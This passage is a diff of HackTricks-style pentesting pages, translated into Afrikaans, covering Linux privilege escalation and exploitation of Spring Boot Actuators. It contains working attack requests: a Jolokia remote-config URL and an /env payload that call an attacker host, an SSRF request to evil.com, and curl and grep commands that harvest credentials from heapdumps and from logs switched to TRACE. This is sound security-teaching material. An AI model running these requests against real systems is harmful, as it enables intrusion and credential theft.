`restart`, en soms `reload`. Hierdie kan direk uitgevoer word of deur simboliese skakels in `/etc/rc?.d/`. 'n Alternatiewe pad op Redhat-stelsels is `/etc/rc.d/init.d`. +Die gids `/etc/init.d` is die tuiste van **skripte** vir System V init (SysVinit), die **klassieke Linux diensbestuurstelsel**. Dit bevat skripte om `start`, `stop`, `restart`, en soms `reload` dienste uit te voer. Hierdie kan direk uitgevoer word of deur simboliese skakels in `/etc/rc?.d/`. 'n Alternatiewe pad in Redhat-stelsels is `/etc/rc.d/init.d`. -Aan die ander kant is `/etc/init` geassosieer met **Upstart**, 'n nuwer **diensbestuur** wat deur Ubuntu ingevoer is, en gebruik konfigurasiëlêers vir diensbestuurstake. Ten spyte van die oorskakeling na Upstart word SysVinit-skripte steeds langs Upstart-konfigurasies gebruik weens 'n versoenbaarheidslaag in Upstart. +Aan die ander kant is `/etc/init` geassosieer met Upstart, 'n nuwer **service management** bekendgestel deur Ubuntu, wat configuration files gebruik vir diensbestuurstake. Ten spyte van die oorgang na Upstart, word SysVinit-skripte steeds langs Upstart-konfigurasies gebruik as gevolg van 'n kompatibiliteitslaag in Upstart. -**systemd** verskyn as 'n moderne initsialisasie- en diensbestuurder, wat gevorderde funksies bied soos on-demand daemon-starting, automount-bestuur, en stelseltoestand-snapshots. Dit organiseer lêers in `/usr/lib/systemd/` vir verspreidingspakkette en `/etc/systemd/system/` vir administrateur-wysigings, wat die stelseladministrasieproses vereenvoudig. +**systemd** tree op as 'n moderne initialisering- en service manager, wat gevorderde funksies bied soos on-demand daemon starting, automount management, en system state snapshots. Dit organiseer lêers in `/usr/lib/systemd/` vir distribution packages en `/etc/systemd/system/` vir administrator-wysigings, wat die stelseladministrasieproses vereenvoudig. -## Ander Trikke +## Ander truuks ### NFS Privilege escalation @@ -1391,7 +1416,7 @@ Aan die ander kant is `/etc/init` geassosieer met **Upstart**, 'n nuwer **diensb nfs-no_root_squash-misconfiguration-pe.md {{#endref}} -### Escaping from restricted Shells +### Ontsnap uit beperkte Shells {{#ref}} @@ -1407,14 +1432,14 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks koppel gewoonlik 'n syscall om bevoorregte kernel-funksionaliteit aan 'n userspace manager bloot te lê. Swakker manager-verifikasie (bv. signature checks gebaseer op FD-order of swak wagwoordskemas) kan 'n plaaslike app in staat stel om die manager na te boots en op reeds-geroote toestelle na root te eskaleer. Lees meer en eksploitasiemode inligting hier: +Android rooting frameworks koppel gewoonlik 'n syscall om bevoorregte kernel-funksionaliteit aan 'n userspace manager bekend te stel. Swakke manager authentication (bv. signature checks gebaseer op FD-order of swak password-skemas) kan 'n plaaslike app toelaat om die manager te imiteer en op reeds-rooted toestelle na root te eskaleer. Lees meer en uitbuitingsbesonderhede hier: {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} -## Kernel Sekuriteitsbeskermings +## Kernel Security Protections - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) @@ -1432,11 +1457,11 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumerate kernel vulns in Linux en macOS [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (fisiese toegang):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Versameling van meer skripte**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) ## Verwysings @@ -1457,6 +1482,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [https://linuxconfig.org/how-to-manage-acls-on-linux](https://linuxconfig.org/how-to-manage-acls-on-linux) - [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) - +- [0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) +- [GNU Bash Reference Manual – Shell Arithmetic](https://www.gnu.org/software/bash/manual/bash.html#Shell-Arithmetic) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/spring-actuators.md b/src/network-services-pentesting/pentesting-web/spring-actuators.md index 1ee42661b..5ba8cf704 100644 --- a/src/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md @@ -10,26 +10,26 @@ ## Exploiting Spring Boot Actuators -**Check the original post from** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] +**Kyk na die oorspronklike pos by** [**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] -### **Key Points:** +### **Belangrike punte:** -- Spring Boot Actuators registreer eindpunte soos `/health`, `/trace`, `/beans`, `/env`, ens. In weergawes 1 tot 1.4 is hierdie eindpunte toeganklik sonder verifikasie. Vanaf weergawe 1.5 is slegs `/health` en `/info` nie-sensitief per standaard, maar ontwikkelaars deaktiveer dikwels hierdie sekuriteit. -- Sekere Actuator eindpunte kan sensitiewe data blootstel of skadelike aksies toelaat: +- Spring Boot Actuators registreer endpoints soos `/health`, `/trace`, `/beans`, `/env`, ens. In weergawes 1 tot 1.4 is hierdie endpoints toeganklik sonder outentisering. Vanaf weergawe 1.5 vorentoe is slegs `/health` en `/info` standaard nie-sensitief, maar ontwikkelaars skakel hierdie sekuriteit dikwels af. +- Sekere Actuator-endpoints kan sensitiewe data openbaar of skadelike aksies toelaat: - `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, en `/heapdump`. -- In Spring Boot 1.x, word actuators geregistreer onder die wortel-URL, terwyl hulle in 2.x onder die `/actuator/` basispad is. +- In Spring Boot 1.x word actuators geregistreer onder die root URL, terwyl in 2.x hulle onder die `/actuator/` basispad is. ### **Exploitation Techniques:** 1. **Remote Code Execution via '/jolokia'**: -- Die `/jolokia` actuator eindpunt stel die Jolokia Biblioteek bloot, wat HTTP-toegang tot MBeans toelaat. -- Die `reloadByURL` aksie kan uitgebuit word om logging konfigurasies vanaf 'n eksterne URL te herlaai, wat kan lei tot blinde XXE of Remote Code Execution via vervaardigde XML konfigurasies. -- Voorbeeld van 'n uitbuit-URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. +- Die `/jolokia` actuator endpoint openbaar die Jolokia Library, wat HTTP-toegang tot MBeans toelaat. +- Die `reloadByURL` aksie kan uitgebuit word om logging-konfigurasies vanaf 'n eksterne URL te herlaai, wat kan lei tot blind XXE of Remote Code Execution via gemanipuleerde XML-konfigurasies. +- Voorbeeld exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. 2. **Config Modification via '/env'**: -- As Spring Cloud Biblioteke teenwoordig is, laat die `/env` eindpunt die aanpassing van omgewings eienskappe toe. -- Eienskappe kan gemanipuleer word om kwesbaarhede uit te buit, soos die XStream deserialisering kwesbaarheid in die Eureka serviceURL. -- Voorbeeld van 'n uitbuit POST versoek: +- As Spring Cloud Libraries teenwoordig is, laat die `/env` endpoint die wysiging van omgewings-eienskappe toe. +- Eienskappe kan gemanipuleer word om kwesbaarhede uit te buit, soos die XStream deserialisasie-kwetsbaarheid in die Eureka serviceURL. +- Voorbeeld exploit POST-versoek: ``` POST /env HTTP/1.1 @@ -41,24 +41,99 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream ``` 3. **Other Useful Settings**: -- Eienskappe soos `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, en `spring.datasource.tomcat.max-active` kan gemanipuleer word vir verskeie uitbuitings, soos SQL-inspuiting of die verandering van databasisverbindingstrings. +- Eienskappe soos `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, en `spring.datasource.tomcat.max-active` kan gemanipuleer word vir verskeie eksploite, soos SQL injection of die verandering van database-verbindingstringe. -### **Additional Information:** +### **Bykomende inligting:** -- 'n Omvattende lys van standaard actuators kan [hier](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt) gevind word. -- Die `/env` eindpunt in Spring Boot 2.x gebruik JSON-formaat vir eiendom aanpassing, maar die algemene konsep bly dieselfde. +- 'n Omvattende lys van standaard actuators is hier te vind [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). +- Die `/env` endpoint in Spring Boot 2.x gebruik JSON-formaat vir eienskapwysiging, maar die algemene konsep bly dieselfde. -### **Related Topics:** +### **Gekoppelde onderwerpe:** 1. **Env + H2 RCE**: -- Besonderhede oor die uitbuiting van die kombinasie van `/env` eindpunt en H2 databasis kan [hier](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database) gevind word. +- Besonderhede oor die uitbuiting van die kombinasie van die `/env` endpoint en die H2-databasis is hier te vind [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). 2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**: -- Die hantering van matriksparameters (`;`) in HTTP-padname deur die Spring-raamwerk kan uitgebuit word vir Server-Side Request Forgery (SSRF). -- Voorbeeld van 'n uitbuit versoek: +- Die Spring-framework se hantering van matrix-parameters (`;`) in HTTP-padname kan uitgebuit word vir Server-Side Request Forgery (SSRF). +- Example exploit request: ```http GET ;@evil.com/url HTTP/1.1 Host: target.com Connection: close ``` +## HeapDump secrets mining (credentials, tokens, internal URLs) + +As `/actuator/heapdump` blootgestel is, kan jy gewoonlik 'n volledige JVM heap snapshot kry wat gereeld live secrets bevat (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, ens.). + +- Download en vinnige triage: +```bash +wget http://target/actuator/heapdump -O heapdump +# Quick wins: look for HTTP auth and JDBC +strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client' +# Decode any Basic credentials you find +printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d +``` + +- Dieper analise met VisualVM en OQL: +- Open heapdump in VisualVM, ondersoek instances van `java.lang.String` of hardloop OQL om secrets te soek: +``` +select s.toString() +from java.lang.String s +where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString()) +``` + +- Outomatiese ekstraksie met JDumpSpider: +```bash +java -jar JDumpSpider-*.jar heapdump +``` +Tipiese hoë-waarde bevindinge: +- Spring `DataSourceProperties` / `HikariDataSource` objekte wat `url`, `username`, `password` openbaar maak. +- `OriginTrackedMapPropertySource` inskrywings wat `management.endpoints.web.exposure.include`, dienspoorte, en ingebedde Basic-Auth in URLs (bv., Eureka `defaultZone`) openbaar. +- Plain HTTP versoek/antwoord fragmente insluitend `Authorization: Basic ...` vasgevang in geheue. + +Wenke: +- Gebruik 'n Spring-gefokusde wordlist om actuator endpoints vinnig te ontdek (bv., SecLists spring-boot.txt) en kontroleer altyd of `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env`, en `/actuator/configprops` ook blootgestel is. +- Credentials van heapdump werk dikwels vir aangrensende dienste en soms vir stelselgebruikers (SSH), probeer dit dus wyd. + +## Misbruik van Actuator loggers/logging om credentials te vang + +As `management.endpoints.web.exposure.include` dit toelaat en `/actuator/loggers` blootgestel is, kan jy dinamies logvlakke verhoog na DEBUG/TRACE vir pakkette wat authentication en request processing hanteer. Gekombineer met leesbare logs (via `/actuator/logfile` of bekende logpade), kan dit credentials leak wat tydens login-vloei ingedien is (bv., Basic-Auth headers of form parameters). + +- Listeer en verhoog sensitiewe loggers: +```bash +# List available loggers +curl -s http://target/actuator/loggers | jq . + +# Enable very verbose logs for security/web stacks (adjust as needed) +curl -s -X POST http://target/actuator/loggers/org.springframework.security \ +-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' +curl -s -X POST http://target/actuator/loggers/org.springframework.web \ +-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' +curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \ +-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' +``` + +- Vind waar logs geskryf word en oes: +```bash +# If exposed, read from Actuator directly +curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password=' + +# Otherwise, query env/config to locate file path +curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))' +``` + +- Roep login/authentication-verkeer op en parse die log vir creds. In microservice-opstellings met 'n gateway voor auth, maak die inskakeling van TRACE vir gateway/security pakkette dikwels headers en form bodies sigbaar. Sommige omgewings genereer selfs sintetiese login-verkeer periodiek, wat oes baie eenvoudig maak sodra logging verbose is. + +Notas: +- Herstel logvlakke wanneer klaargemaak: `POST /actuator/loggers/` met `{ "configuredLevel": null }`. +- As `/actuator/httpexchanges` blootgestel is, kan dit ook onlangse versoek-metadata oppervlakte wat sensitiewe headers kan insluit. + + +## References + +- [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations) +- [VisualVM](https://visualvm.github.io/) +- [JDumpSpider](https://github.com/whwlsfb/JDumpSpider) +- [0xdf – HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) + {{#include ../../banners/hacktricks-training.md}}